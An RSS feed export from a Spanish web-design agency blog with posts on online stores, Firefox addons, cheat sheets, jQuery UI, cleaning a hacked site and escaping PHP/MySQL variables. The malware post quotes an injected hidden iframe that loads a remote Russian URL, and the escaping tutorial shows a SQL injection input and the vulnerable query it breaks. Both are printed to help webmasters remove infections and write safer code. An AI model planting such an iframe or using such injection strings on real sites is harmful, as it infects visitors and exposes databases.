<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Blog Solucionesuno.com &#187; Programación web</title>
	<atom:link href="http://www.solucionesuno.com/blog/programacion-web/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.solucionesuno.com/blog</link>
	<description>Diseño de paginas web, Dieseño web, Diseño gráfico, Diseño de logotipos, Diseño grafico, Diseño editorial</description>
	<lastBuildDate>Thu, 29 Sep 2011 15:53:34 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.2.1</generator>
		<item>
		<title>Crear tienda online</title>
		<link>http://www.solucionesuno.com/blog/diseno-web/crear-tienda-online/</link>
		<comments>http://www.solucionesuno.com/blog/diseno-web/crear-tienda-online/#comments</comments>
		<pubDate>Fri, 04 Feb 2011 09:41:03 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Diseño web]]></category>
		<category><![CDATA[Programación web]]></category>

		<guid isPermaLink="false">http://www.solucionesuno.com/blog/?p=920</guid>
		<description><![CDATA[Hoy en día disponer de una tienda on-line para la venta de determinados productos por internet, es obligatorio para ciertos sectores. Crear una tienda online, puede ser un fracaso si se desconoce de que manera hacerlo, y donde gastarnos nuestro dinero. Se puede crear una tienda online de dos maneras dierentes, o bien con un [...]]]></description>
			<content:encoded><![CDATA[<p>Hoy en día disponer de una tienda on-line para la venta de determinados productos por internet, es obligatorio para ciertos sectores. Crear una tienda online, puede ser un fracaso si se desconoce de que manera hacerlo, y donde gastarnos nuestro dinero.</p>
<p>Se puede crear una tienda online de dos maneras dierentes, o bien con un software base OpenSource como Oscommerce, Magento, PrestaShop, o bien con un software nativo y desarrollado a medida.</p>
<p>En este articulo vamos a comentar las diferencias entre un tipo de tienda online y el otro:<br />
<span id="more-920"></span></p>
<p>1) Crear nuestra tienda online los denominados Open Source (código abierto y gratuito desarrollado por comunidades de programadores), tiene por ventaja que se encuentran en constante evolución, y &#8220;nunca&#8221;  nos quedara obsoleto para poder ampliarlos con las necesidades que nos van surgiendo ya que de seguro nuestras necesidades ya le han surgido a mas de una persona de la comunidad  y encontraremos los modulos disponibles.<br />
Esta opcion es mucho mas economica que desarrollar una tienda a medida, pero siempre debemos analizar que espera usted de su tienda online en cuanto a funciones, ya que estos tipos de Software tiene unos funcionamientos estandars que para modificarlos a sus necesidades en cuanto a programacion puede ser un proceso complicado.<br />
Otro tema a tener en cuenta es el diseño, crear una tienda oline a partir de estos sistemas, es empezar desde una plantilla prediseñada (existen miles) y adaptarla a su imagen corporativa, con lo que la flexibilidad de diseño es baja, y se deben seguir los lineamientos específicos marcados por la plantilla escogida.</p>
<p>2) <strong>Crear una tienda on-line </strong>a medida es una labor mas complicada, demora mas tiempo, y por supuesto, es mas caro. La ventaja de este tipo de tiendas online, es la personalización del diseño y funcionamiento es 100% a medida. A diferencia del caso anterior de las tiendas on-line prediseñadas, esto es como o comprarse un traje en el zara, o comprarse un traje hecho a medida. Esta opcion siempre es recomendable cuando se requiere cierto grado de personalizacion en su programacion, como por ejempo cuando debemos integrar nuestra web con nuestro ERP para que nuestros productos se sincronizan, o otras funcionabilidades a medidas qeu se deban desarrollar y no lo disponga el sistema anterior.</p>
<p>En definitiva, podemos crear tienda online a medida o con prediseños: o nos compramos un traje a medida, o nos ponemos un ya desarrollado. En Soluciones Uno creamos tiendas online tanto a medida como con sistemas opensource, si lo desea, solicite un <a href="http://www.solucionesuno.com/presupuesto.php">presupuesto sin compromiso.</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.solucionesuno.com/blog/diseno-web/crear-tienda-online/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Los 10 addons de Firefox más usados en Soluciones Uno</title>
		<link>http://www.solucionesuno.com/blog/programacion-web/los-10-addons-de-firefox-mas-usados-en-soluciones-uno/</link>
		<comments>http://www.solucionesuno.com/blog/programacion-web/los-10-addons-de-firefox-mas-usados-en-soluciones-uno/#comments</comments>
		<pubDate>Wed, 28 Apr 2010 18:18:43 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Programación web]]></category>

		<guid isPermaLink="false">http://www.solucionesuno.com/blog/?p=664</guid>
		<description><![CDATA[Podemos perder mucho tiempo instalado y probando addons para Firefox, entonces, ¿Qué mejor que encontrar alguien que ya se haya tomado ese trabajo? A continuación, listaremos los addons que más utilizamos en Soluciones Uno, para llevar a cabo todos nuestros proyectos de diseño y programación web. Firebug , infaltable para quien diga llamarse diseñador web. [...]]]></description>
			<content:encoded><![CDATA[<p>Podemos perder mucho tiempo instalado y probando addons para Firefox, entonces, <strong>¿Qué mejor que encontrar alguien que ya se haya tomado ese trabajo?</strong></p>
<p>A continuación, listaremos los addons que más utilizamos en Soluciones Uno, para llevar a cabo todos nuestros proyectos de diseño y programación web.</p>
<p><a href="http://getfirebug.com/">Firebug </a>, infaltable para quien diga llamarse diseñador web. El Firebug nos dará importante información en tiempo real mientras testeamos los sitios.<br /> Desde el tiempo de carga de la información, las respuesta del servidor, hasta un completo escaneo del código HTML, y una muy bienvenida información sobre los estilos CSS y su edición en tiempo real.</p>
<p><a href="http://ietab.mozdev.org/">IE Tab</a>, rústico pero efectivo. IE tab nos permite abrir otra pestaña, pero este se mostrará tal cual como se vería en Internet Explorer.<br /> Lo bueno de este addon, es que no se trata de una  “emulación” del Firefox, sino que básicamente, ejecuta el componente de Internet Explorer instalado en el sistema operativo, y lo incrusta dentro de la pestaña.<br /> Esto acelera los procesos de comparación al momento de la maquetación y la programación javascript.</p>
<p><span id="more-664"></span></p>
<p><a href="http://www.sephiroth.it/firefox/flashtracer/">Flash Tracer</a>, puede ahorrarnos miles de dolores. Especial para que aquellos sitios en flash, traen información de bases de datos.<br /> Como ya sabrán, no hay forma de sacar por pantalla un trace() de actionscript cuando ejecutamos la película en un navegador. Bueno al menos hasta ahora.<br /> Si bien requiere la instalación de un debug del mismo flash player, funciona básicamente leyendo un registro de logs del debug, y lo muestra en tiempo real. De esa forma podemos trazar todo lo que sea necesario.</p>
<p><a href="https://addons.mozilla.org/es-ES/firefox/addon/5648">FireShot</a>, herramienta básica, pero por demás útil. FireShot, nos permitirá tomar una captura del sitio que estamos visualizando y guardarla en el formato de imagen que mas queramos. Podemos tomar capturas de forma total y parcial, guardar un fichero o dejara en memoria para pegarla en algún software. E incluso trae un pequeño editor propio como para poder hacer marcas en sobre la captura e indicar diferentes aspectos con su correspondiente etiquetación.</p>
<p><a href="http://users.skynet.be/mgueury/mozilla/">HTML validator</a>. A la hora de desarrollar nuestros sitios web somos bastante exigentes en cumplir correctamente con lo establecido por la W3C con respecto a la programación de del sitio. Esto es importante ya que los estándares nos garantizan el correcto funcionamiento del sitio en la mayoría de los navegadores. Un código ordenado es más admisible por los buscadores que apoyan el estándar.<br /> Si bien ya tenemos bastante experiencia en diseño web, esta pequeña herramienta, testea constantemente nuestro código y nos advierte en tiempo real sobre las diferentes fallas o usos no correctos en el código. Permitiéndonos así corregir nuestro trabajo a medida que lo realizamos.</p>
<p><a href="http://chrispederick.com/work/web-developer/">Web Developer</a>, otra interesante herramienta para el desarrollo  web. Con características similares al Firebug, nos permite ver el código generado por javascript, y nos conectar directamente con el validador online de la W3C para poder dar un testeo completo y final a nuestros sitios.</p>
<p><a href="http://download.xmarks.com/download/all">Xmarks</a>, marcadores, de la casa al trabajo, del trabajo a la casa. Esta herramienta es una gran utilidad ciertamente. Permite tener sincronizados nuestros marcadores en todas las PC donde tengamos este addon instalado y una cuenta configurada. El servicio es gratuito, y además es compatible con varios navegadores más.  Ahora todo lo que marques en tu trabajo lo podrás ver en tu casa sin necesidad de andar haciendo memoria o anotando los sitios en otros medios menos prácticos. La sincronización se ejecuta automáticamente de forma silenciosa y casi instantánea.</p>
<p><a href="http://adblockplus.org/en/">AdBlock Plus</a>, la publicidad deja de ser publicidad cuando nos hace perder tiempo. AdBlock, simplemente detiene el trafico de todo aquello que considere publicidad, esto hará que la velocidad de carga de los sitios mejore sensiblemente. Además podremos agregar, eliminar y modificar las reglas de bloqueo para poder personalizar el filtrado.</p>
<p><a href="https://addons.mozilla.org/es-ES/firefox/addon/3554">Diccionario de Español/España</a>, ¿Quién no comete un pequeño error a veces? Este addon nos marcará con un subrayado rojo las palabras que estén mal escritas, dándonos la posibilidad de corregirlas y pedir sugerencias sobre la misma, similar al Microsoft Word.</p>
<p>Con estas herramientas, podríamos decir que ya tenemos básicamente cubiertas todas las expectativas básicas de lo que debería tener un navegador.</p>
<p>¡Esperamos que les sea de gran ayuda!</p>
<p>Un saludo y hasta entonces.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.solucionesuno.com/blog/programacion-web/los-10-addons-de-firefox-mas-usados-en-soluciones-uno/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Cheat Sheets</title>
		<link>http://www.solucionesuno.com/blog/general/cheat-sheets/</link>
		<comments>http://www.solucionesuno.com/blog/general/cheat-sheets/#comments</comments>
		<pubDate>Tue, 24 Nov 2009 12:36:37 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Diseño web]]></category>
		<category><![CDATA[General]]></category>
		<category><![CDATA[Programación web]]></category>

		<guid isPermaLink="false">http://www.solucionesuno.com/blog/?p=413</guid>
		<description><![CDATA[Un problema con que nos encontramos a menudo los desarrolladores web, es olvidarnos una función, propiedad, clase, etc de un lenguaje o software. Una buena manera de ahorrar tiempo buscando en Google, es tener siempre a mano nuestros cheat sheets, hojas de trucos en inglés. Los cheat sheets son breves resúmenes de funciones, clases, atributos, [...]]]></description>
			<content:encoded><![CDATA[<p>Un problema con que nos encontramos a menudo los desarrolladores web, es olvidarnos una función, propiedad, clase, etc de un lenguaje o software. Una buena manera de ahorrar tiempo buscando en Google, es tener siempre a mano nuestros cheat sheets, hojas de trucos en inglés. Los cheat sheets son breves resúmenes de funciones, clases, atributos, propiedades, atajos de teclado, etc de un lenguaje de programación particular o de un programa.<br />
Les dejamos a continuación algunos links donde pueden descargar estos ayuda memoria que les serán de gran utilidad!</p>
<p><strong>jQuery:</strong> <a href="http://colorcharge.com/jquery/">http://colorcharge.com/jquery/</a><br />
<strong>jQuery (Otra versión):</strong> <a href="http://www.gscottolson.com/weblog/2008/01/11/jquery-cheat-sheet">http://www.gscottolson.com/weblog/2008/01/11/jquery-cheat-sheet</a>/<br />
<strong>PHP:</strong> <a href="http://www.dreamincode.net/downloads/ref_sheets/php_reference_sheet.pdf">http://www.dreamincode.net/downloads/ref_sheets/php_reference_sheet.pdf</a><br />
<strong>Photoshop CS4, shortcuts:</strong> <a href="http://morris-photographics.com/photoshop/shortcuts/#pscs4">http://morris-photographics.com/photoshop/shortcuts/#pscs4</a><br />
<strong>CSS:</strong> <a href="http://www.addedbytes.com/cheat-sheets/css-cheat-sheet">http://www.addedbytes.com/cheat-sheets/css-cheat-sheet</a>/<br />
<strong>CSS Shorthand: </strong><a href="http://www.addedbytes.com/cheat-sheets/css-cheat-sheet/">http://www.addedbytes.com/cheat-sheets/css-cheat-sheet/</a><br />
<strong>Colores RGB:</strong> <a href="http://designtopx.files.wordpress.com/2009/11/rgb-hex-cheat-sheet-v1.pdf">http://designtopx.files.wordpress.com/2009/11/rgb-hex-cheat-sheet-v1.pdf</a><br />
<strong>HTML: </strong><a href="http://designtopx.files.wordpress.com/2009/11/html-cheat-sheet-v1.pdf">http://designtopx.files.wordpress.com/2009/11/html-cheat-sheet-v1.pdf</a><br />
<strong>HTML, entidades y atributos</strong>: <a href="http://www.elizabethcastro.com/html/extras/xhtml_ref.html">http://www.elizabethcastro.com/html/extras/xhtml_ref.html</a><br />
<strong>HTML 5 y CSS3: <a href="http://www.webresourcesdepot.com/html-5-and-css3-cheat-sheets-collection/">http://www.webresourcesdepot.com/html-5-and-css3-cheat-sheets-collection/</a><br />
</strong><strong>Flash CS4 shortcuts:</strong> <a href="http://subdivision.co.uk/wp-content/uploads/2009/03/FlashCS4_PC_Shortcuts.pdf">http://subdivision.co.uk/wp-content/uploads/2009/03/FlashCS4_PC_Shortcuts.pdf</a><br />
<strong>Mod rewrite:</strong> <a href="http://www.addedbytes.com/apache/mod_rewrite-cheat-sheet/">http://www.addedbytes.com/apache/mod_rewrite-cheat-sheet/</a><br />
<strong>HTACCESS: </strong><a href="http://www.thejackol.com/htaccess-cheatsheet/">http://www.thejackol.com/htaccess-cheatsheet/</a><br />
<strong>Caracteres ASCII y ANSI:</strong> <a href="http://www.cosassencillas.com/2009/05/03/hojas-de-ayuda-caracteres-ascii-ansi">http://www.cosassencillas.com/2009/05/03/hojas-de-ayuda-caracteres-ascii-ansi</a>/<br />
<strong>SEO: </strong><a href="http://www.seomoz.org/blog/the-web-developers-seo-cheat-sheet">http://www.seomoz.org/blog/the-web-developers-seo-cheat-sheet</a><br />
<strong>Mysql: </strong><a href="http://www.tech-geeks.org/contrib/mdrone/mysql-stuff/mysql-cheatsheet.html">http://www.tech-geeks.org/contrib/mdrone/mysql-stuff/mysql-cheatsheet.html</a><br />
<strong>Javascript:</strong> <a href="http://www.addedbytes.com/cheat-sheets/javascript-cheat-sheet/">http://www.addedbytes.com/cheat-sheets/javascript-cheat-sheet/</a></p>
<p>Como verán existe gran variedad de cheat sheets, hay para todos los gustos. A medida que vayamos encontrando más que nos sean de utilidad, los iremos compartiendo con ustedes!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.solucionesuno.com/blog/general/cheat-sheets/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>jQuery es la herramienta a tener en cuenta</title>
		<link>http://www.solucionesuno.com/blog/diseno-web/jquery-es-la-herramienta-a-tener-en-cuenta/</link>
		<comments>http://www.solucionesuno.com/blog/diseno-web/jquery-es-la-herramienta-a-tener-en-cuenta/#comments</comments>
		<pubDate>Wed, 18 Nov 2009 17:10:09 +0000</pubDate>
		<dc:creator>Nadia</dc:creator>
				<category><![CDATA[Diseño web]]></category>
		<category><![CDATA[Programación web]]></category>

		<guid isPermaLink="false">http://www.solucionesuno.com/blog/?p=383</guid>
		<description><![CDATA[Presentada en enero del 2006, Jquery es una libreria Javascript orientada a Ajax, manejo del DOM, animaciones y eventos. jQuery usa las licencias MIT y GPL permitiendo su uso en proyectos libres. Es de facil implementacion ya que en un unico archivo JavaScript contiene las funcionalidades comunes de DOM, eventos, efectos y AJAX. incluyendo soporte [...]]]></description>
			<content:encoded><![CDATA[<p>Presentada en enero del 2006, Jquery es una libreria Javascript orientada a Ajax, manejo del <a href="http://es.wikipedia.org/wiki/DOM">DOM</a>,<br />
animaciones y eventos.<br />
jQuery usa las licencias <a href="http://es.wikipedia.org/wiki/MIT_License">MIT</a> y <a href="http://es.wikipedia.org/wiki/GPL">GPL</a> permitiendo su uso en proyectos libres.</p>
<p>Es de facil implementacion ya que en un unico archivo JavaScript<br />
contiene las funcionalidades comunes de DOM, eventos, efectos y AJAX.<br />
incluyendo soporte para CSS 1-3 y un plugin básico de XPath.<br />
Soporta extensiones.<span id="more-383"></span><br />
Utilidades varias como obtener información del navegador, operar con Objetos y Arrays, etc.<br />
Compatible con los navegadores Firefox 2.0+, Internet Explorer 6+, Safari 2.0.2+ y Opera 9+</p>
<p>El Equipo Jquery cuenta con un desarrollo orientado a las interfaces de usuario llamado Jquery <a href="http://jqueryui.com/home">UI</a>.<br />
Con el podremos crear muy facilmente widgets y animaciones.</p>
<p>Se utiliza igual que cualquier otra extensión para jQuery.<br />
Sólo hay que añadir los archivos .js a la página, ademas de la hoja de estilos propia del script, primero debe aparecer la biblioteca jQuery y después el resto:</p>
<p>&lt;link type=&#8221;text/css&#8221; href=&#8221;css/themename/jquery-ui-1.7.1.custom.css&#8221; rel=&#8221;Stylesheet&#8221; /&gt;<br />
&lt;script type=&#8221;text/javascript&#8221; src=&#8221;js/jquery-1.3.2.min.js&#8221;&gt;&lt;/script&gt;<br />
&lt;script type=&#8221;text/javascript&#8221; src=&#8221;js/jquery-ui-1.7.1.custom.min.js&#8221;&gt;&lt;/script&gt;</p>
<p>Jquery UI Cuenta con 24 temas prediseñados, y si bien pueden ser editados, existe la posibilidad de generar uno propio.<br />
Para esto, cuenta con el <a href="http://jqueryui.com/themeroller/">ThemeRoller</a>, que nos permite editar los widgets y efectos.</p>
<p>A la hora de descargar jquery <a href="http://jqueryui.com/download">ui</a> tenemos la posibilidad de, para ahorrar algunos bytes,<br />
destildar los efectos y/o widtgets que no vamos a usar, (si sabemos esto de antemano).</p>
<p><a href="http://jqueryui.com/demos">Como usarlo?,</a> es simple, su notacion es relativamente parecida, inicializar los widgets consiste en<br />
$(elemento).nombreWidget();</p>
<p>con eso, para un uso simple con eventos predeterminados, alcanza.</p>
<p>Pero siempre se pueden modificar usando notacion json, de una manera muy sencilla e intuitiva<br />
$(elemento).nombreWidget({evento:valor,evento2:valor2,evento3,valor3});</p>
<p>Siempre que se necesita hacer referencia a un elemento, se utiliza el $<br />
$(&#8220;elemento&#8221;).evento/widget();</p>
<p>el elemento siempre debe ir a compañado por su selector, de la misma manera que se lo referencia en las hojas de estilo.<br />
# para ID<br />
. para Clases</p>
<p>Algunos ejemplos de Widgets():</p>
<p>&nbsp;</p>
<p>//Tabs<br />
$(&#8216;#tabs&#8217;).tabs();// javascript</p>
<p>&lt;!&#8211;// html //&#8211;&gt;<br />
&lt;div id=&#8221;tabs&#8221;&gt;<br />
&lt;ul&gt;<br />
&lt;li&gt;&lt;a href=&#8221;#tabs-1&#8243;&gt;First&lt;/a&gt;&lt;/li&gt;<br />
&lt;li&gt;&lt;a href=&#8221;#tabs-2&#8243;&gt;Second&lt;/a&gt;&lt;/li&gt;<br />
&lt;li&gt;&lt;a href=&#8221;#tabs-3&#8243;&gt;Third&lt;/a&gt;&lt;/li&gt;<br />
&lt;/ul&gt;<br />
&lt;div id=&#8221;tabs-1&#8243;&gt;<br />
Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.<br />
&lt;/div&gt;<br />
&lt;div id=&#8221;tabs-2&#8243;&gt;<br />
Phasellus mattis tincidunt nibh. Cras orci urna, blandit id, pretium vel, aliquet ornare, felis. Maecenas scelerisque sem non nisl. Fusce sed lorem in enim dictum bibendum.<br />
&lt;/div&gt;<br />
&lt;div id=&#8221;tabs-3&#8243;&gt;<br />
Nam dui erat, auctor a, dignissim quis, sollicitudin eu, felis. Pellentesque nisi urna, interdum eget, sagittis et, consequat vestibulum, lacus. Mauris porttitor ullamcorper augue.<br />
&lt;/div&gt;<br />
&lt;/div&gt;</p>
<p>//Datepicker<br />
$(&#8216;#datepicker&#8217;).datepicker();// javascript</p>
<p>&lt;!&#8211;// html //&#8211;&gt;<br />
&lt;div id=&#8221;datepicker&#8221;&gt;&lt;/div&gt;</p>
<p>&nbsp;</p>
<p>//Accordion<br />
$(&#8220;#accordion&#8221;).accordion({ header: &#8220;h3&#8243; }); //javascript</p>
<p>&lt;!&#8211;// html //&#8211;&gt;<br />
&lt;div id=&#8221;accordion&#8221;&gt;<br />
&lt;div&gt;<br />
&lt;h3&gt;&lt;a href=&#8221;#&#8221;&gt;First&lt;/a&gt;&lt;/h3&gt;<br />
&lt;div&gt;Lorem ipsum dolor sit amet. Lorem ipsum dolor sit amet. Lorem ipsum dolor sit amet.&lt;/div&gt;<br />
&lt;/div&gt;<br />
&lt;div&gt;<br />
&lt;h3&gt;&lt;a href=&#8221;#&#8221;&gt;Second&lt;/a&gt;&lt;/h3&gt;<br />
&lt;div&gt;Phasellus mattis tincidunt nibh.&lt;/div&gt;<br />
&lt;/div&gt;<br />
&lt;div&gt;<br />
&lt;h3&gt;&lt;a href=&#8221;#&#8221;&gt;Third&lt;/a&gt;&lt;/h3&gt;<br />
&lt;div&gt;Nam dui erat, auctor a, dignissim quis.&lt;/div&gt;<br />
&lt;/div&gt;<br />
&lt;/div&gt;</p>
<p>En conclusión, Jquery es una de las librerías javascript mas usadas por su fácil implementación,<br />
amplia variedad de plugins, varias optimizaciones a su código fuente además de estar muy bien documentado.<br />
Si estás interesado en enriquecer tu sitio con componentes web 2.0, efectos, animaciones, Ajax,<br />
interfaces de usuario avanzadas, etc., jQuery es la herramienta a tener en cuenta.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.solucionesuno.com/blog/diseno-web/jquery-es-la-herramienta-a-tener-en-cuenta/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Google MalWare: Este sitio puede dañar tu equipo.</title>
		<link>http://www.solucionesuno.com/blog/general/google-malware-este-sitio-puede-danar-tu-equipo/</link>
		<comments>http://www.solucionesuno.com/blog/general/google-malware-este-sitio-puede-danar-tu-equipo/#comments</comments>
		<pubDate>Tue, 03 Nov 2009 13:24:09 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[General]]></category>
		<category><![CDATA[Programación web]]></category>

		<guid isPermaLink="false">http://www.solucionesuno.com/blog/?p=300</guid>
		<description><![CDATA[Nos hemos encontrado con un problema con algunos sitios webs, los cuales han sido atacados, y se ha modificado su codigo fuente, añadiendo lineas las cuales Google concidera como MalWare. Los archivos que fueron infectados (modificados) en general del sitio web son todos los denominados: Defaults.* Index.* Home.* La linea de codigo que nos añade [...]]]></description>
			<content:encoded><![CDATA[<p>Nos hemos encontrado con un problema con algunos sitios webs, los cuales han sido atacados, y se ha modificado su codigo fuente, añadiendo lineas las cuales Google concidera como MalWare.</p>
<p><a href="http://farm1.static.flickr.com/132/389194571_63af422416.jpg?v=0" rel="lightbox"><img alt="" src="http://farm1.static.flickr.com/132/389194571_63af422416.jpg?v=0" alt="Google MalWare: este sitio puede dañar tu equipo" class="alignnone" width="301" height="129" /></a></p>
<p>Los archivos que fueron infectados (modificados) en general del sitio web son todos los denominados:</p>
<p>Defaults.*<br />
Index.*<br />
Home.*</p>
<p> La linea de codigo que nos añade a nuestros archivos por lo general es: </p>
<p> <strong>iframe frameborder=&#8221;0&#8243; onload=&#8221;if (!this.src){ this.src=&#8217;http://smert-test.ru:8080/index.php&#8217;; this.height=&#8217;0&#8242;; this.width=&#8217;0&#8242;;}&#8221; qgbugjfzjmsuhhvwoycloflqbtukhxq iframe</strong> </p>
<p>Indiferente de la extension del archivo el Malware ataca a los archivos con este nombre. Inclusive si el archivo se denomina <strong>index_old.php</strong>. La misma es añadida justo alado de la etiqueta Body, o al final del codigo fuente, un iframe con el codigo mencionado.</p>
<p> Este ataque es por que un sistema atacante se ha apropiado de nuestras contraseñas FTP, infectando alguno ordenador, y entonces genera un script que teniendo dicho acceso, modificara constantemente nuestros archivos. Por más que eliminemos esta linea, debemos cambiar con urgencia el acceso FTP al sitio web, si no siempre nos seguiran modificando el codigo.</p>
<p><strong>¿Como solucionarlo?</strong>
</p>
<p>
1) Modifica todas tus contraseñas FTP´s de todos tus sitios webs. <br />
2) Actualiza tu Cliente FTP a la ultima version. <br />
3) Haz un escaneo completo de virus con tu antivirus actualizado. <br />
4) Pasa alguna herramienta de eliminacion de SpyWares como <a href="http://www.safer-networking.org/es/download/index.html">Spyboot</a> en tu ordenador. <br />
5) Elimina todas las lineas de codigos de tus sitios webs &#8220;infectados&#8221;. La mejor forma es si el mismo lo tienes en local, utilizar Dreamweaver para buscar y remplazar. Otra opcion seria recuperar backups. <br />
6) Desde <strong><a href="www.google.com/webmasters/tools/?hl=es">Web Master tools</a></strong>, debes tener configurado el sitio web, para solicitar a Google que realize una revision de tu sitio web, con el problema solucionado.<br /> Esto suele tardar aproximadamente unas 10 horas, con lo que deberas tener mucha paciencia.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.solucionesuno.com/blog/general/google-malware-este-sitio-puede-danar-tu-equipo/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>La importancia de escapar variables.</title>
		<link>http://www.solucionesuno.com/blog/programacion-web/la-importancia-de-escapar-variables/</link>
		<comments>http://www.solucionesuno.com/blog/programacion-web/la-importancia-de-escapar-variables/#comments</comments>
		<pubDate>Tue, 22 Sep 2009 15:58:41 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Programación web]]></category>
		<category><![CDATA[escapar variables]]></category>

		<guid isPermaLink="false">http://www.solucionesuno.com/blog/?p=164</guid>
		<description><![CDATA[A menudo en nuestro trabajo de diseño web tenemos la responsabilidad de asegurarnos que no ocurran fallos en nuestros sitios, principalmente en aquellos donde el pasaje de variables de una página hacia otra es habitual. En la mayoría de los casos las variables pueden contener cadenas de caracteres que pueden romper otras cadenas donde son [...]]]></description>
			<content:encoded><![CDATA[<p>A menudo en nuestro trabajo de <a title="diseño web" href="http://www.solucionesuno.com/" target="_self">diseño web</a> tenemos la responsabilidad de asegurarnos que no ocurran fallos en nuestros sitios, principalmente en aquellos donde el pasaje de variables de una página hacia otra es habitual.</p>
<p>En la mayoría de los casos las variables pueden contener cadenas de caracteres que pueden romper otras cadenas donde son introducidas, como ser fragmentos de código SQL, maquetas HTML, campos input o textarea.</p>
<p>Algunos casos más severos que otros, siendo las inyecciones SQL un problema de seguridad en aquellos sitios que no han tomado los recaudos necesarios.</p>
<p>Nuestro lenguaje de <a title="programación web" href="http://www.solucionesuno.com/servicios/programacion-web.php" target="_self">programación web</a> de preferencia es PHP, por lo tanto también tenemos preferencia por el motor MySql. Así que les mostraremos algunos consejos para utilizar en estas plataformas.</p>
<p><strong>¿Qué es escapar?</strong></p>
<p>Escapar un carácter es ante poner una contra barra detrás de él.</p>
<p>$variable = &#8220;Cadena de texto \&#8221;entre comillas\&#8221;.&#8221;;<br />
echo $variable;</p>
<p>Como verán, las comillas que corresponden a la cadena se escapean con el carácter \, permitiendo esto que las comillas puedan ser guardadas dentro de la cadena, evitando que se confundan con el cierre. Esta salida se verá así:</p>
<p>Cadena de texto &#8220;entre comillas&#8221;.</p>
<p>Los caracteres reservados de un lenguaje deben ser escapados para que en su compilación no se abran las cadenas ni se mal interprete el código.</p>
<p>Función mysql_real_escape_string() -&gt; http://ar2.php.net/mysql_real_escape_string</p>
<p>Es seguramente una de las funciones mejor concebidas para concatenar variables dentro de una consulta dirigida a MySql.</p>
<p><strong>- Representaremos un error:</strong><br />
En la url tenemos: http://www.unsitio.es/producto.php?idprod=‘ AND idusuario = ‘34</p>
<p><strong>En php tenemos</strong>:<br />
$idprod = $_GET[‘idprod'];<br />
$SQL = &#8220;SELECT * FROM productos WHERE idprod = ‘$idprod&#8221;</p>
<p><strong>Si compilamos esto quedaría:</strong><br />
SELECT * FROM productos WHERE idprod = ‘‘ AND idusuario = ‘34&#8242;</p>
<p>$idprod puede ser una variable introducida por $_GET mediante la url, es un uso habitual para mostrar detalles de productos en una plantilla php, pero mal utilizada por un navegante puede fácilmente rompe una cadena y devolver errores en pantalla y meticulosamente ir descubriendo la estructura de la Base de Datos.</p>
<p><strong>Si hiciéramos:</strong></p>
<p>$ id_user = mysql_real_escape_string($_GET[‘id_user']);<br />
$SQL = &#8220;SELECT * FROM productos WHERE idprod = ‘$id_user&#8221;</p>
<p><strong>Esto quedaría:</strong><br />
SELECT * FROM productos WHERE idprod = ‘\‘ AND idusuario = \‘34&#8242;</p>
<p>De esta forma logramos que la cadena ingresada sea estrictamente registrada como una cadena de texto, y así la consulta no se romperá. En el peor de los casos, no devolverá resultados.</p>
<p>Ahora bien, esto no es todo. Existen otros errores posibles que puede ocurrir cuando vamos a comparar parámetro por $_GET, que ha sufrido alguna modificación accidental.<br />
<strong>Por ejemplo:</strong></p>
<p>$idprod  = mysql_real_escape_string($_GET[‘idprod']);<br />
SELECT * FROM productos WHERE idprod = ‘$idprod &#8216;;</p>
<p><strong>Será:</strong> SELECT * FROM productos WHERE idprod= ‘54ç&#8217;</p>
<p>Esto no devolverá resultados, y veremos una planilla con la información sobre el producto, prácticamente vacía.<br />
Lo correspondiente a realizar cuando necesitamos recibir un parámetro netamente entero, es parsear el valor, para ello utilizamos (int)</p>
<p>$idprod = (int)($_GET[‘idprod']);<br />
SELECT * FROM productos WHERE idprod  = ‘$idprod&#8217;;</p>
<p><strong>Será:</strong> SELECT * FROM productos WHERE idproducto = ‘54&#8242;</p>
<p>En caso de que $_GET[‘idprod'] sea nulo o alfanumérico sin números en su cadena, el valor parseado será 0. Si tuviera algún número, lo tomará y lo utilizará.<br />
<strong>Ejemplo:</strong></p>
<p>$variable = (int)(&#8220;101dalmatas&#8221;);<br />
echo $variable;</p>
<p>La salida será: 101</p>
<p><strong>Otro aspecto muy importante</strong> es ocultar toda muestra de código que pueda salir por pantalla, o evitar mostrar una página que resulta incompleta.</p>
<p><strong>Ejemplo:</strong></p>
<p>En la url tenemos: http://www.unsitio.es/producto.php?idprod=unacadenadetexto</p>
<p>$idprod = (int)$_GET[‘idprod'];<br />
$SQL = &#8220;SELECT * FROM productos WHERE idprod = $id_prod&#8221;;<br />
(es decir: SELECT * FROM productos WHERE idprod = 0)</p>
<p>Normalmente no existen registros con índice 0, ya que para los lenguajes puede confundirse con un valor nulo. Entonces esta búsqueda no devolverá resultados.</p>
<p>Para lo cual lo correcto es verificar el resultado y evitar que se genere una página sin información:</p>
